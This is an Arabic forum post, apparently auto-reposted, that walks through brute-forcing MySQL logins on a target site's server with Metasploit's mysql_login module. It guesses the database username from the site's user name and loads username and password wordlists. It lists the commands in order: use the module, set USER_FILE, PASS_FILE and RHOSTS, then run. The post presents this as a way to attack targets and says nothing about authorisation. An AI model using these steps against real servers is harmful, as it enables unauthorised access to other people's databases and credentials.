حالة الموضوع:
مغلق
  1. .:: RSS ::.

    .:: RSS ::. عضوية آلية

    الأنتساب:
    ‏9 سبتمبر 2011
    المشاركات:
    14,005
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    36
    الإقامة:
    IQ-T34M


    السلام عليكم ورحمة الله وبركاته



    شرح التخمين على قواعد بيانات - Mysql
    في هذا الشرح راح نستخدم مشروع الميتا سبلويت
    ويفيدنى التخمين في الاستهداف
    على سبيل المثال معنا موقع ويوزره : user
    في الغالب بيكون اسم المستخدم لقاعدة البيانات هو : user_wp
    السكربت هو وورد بريس كمثال ...

    ^
    كمثال مو شرط يكون على طول كذا

    طيب الحين نفتح الميتاسبلويت ونكتب الامر :

    كود PHP:
    use auxiliary/scanner/mysql/mysql_login


    [​IMG]

    نظهر الاعدادات :

    كود PHP:
    show options


    [​IMG]

    الحين نضبط مسار لستة اليوزرات :

    كود PHP:
    set USER_FILE C:/user.txt


    +

    نضبط مسار لستة الباسووردات :


    كود PHP:
    set PASS_FILE C:/pass.txt


    [​IMG]

    نجي لتحديد ايبي السيرفر بالامر :

    كود PHP:
    set RHOSTS ipserver




    ^

    بدل كلمة : ipserver تضع ايبي السيرفر

    والامر االاخير لتشغيل الاداة والتخمين على Mysql :

    كود PHP:
    run


    بالحاله هذي يبدا يخمن على قاعدة البيانات
    وحسب لستة اليوزرات والباسووردات اللي تخمن فيها

    واذا وقف وما خمن .. بالحاله هذي السيرفر مانع التخمين على mysql
    قاعدة البيانات

    وسلامتكم ... تحياتي

     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة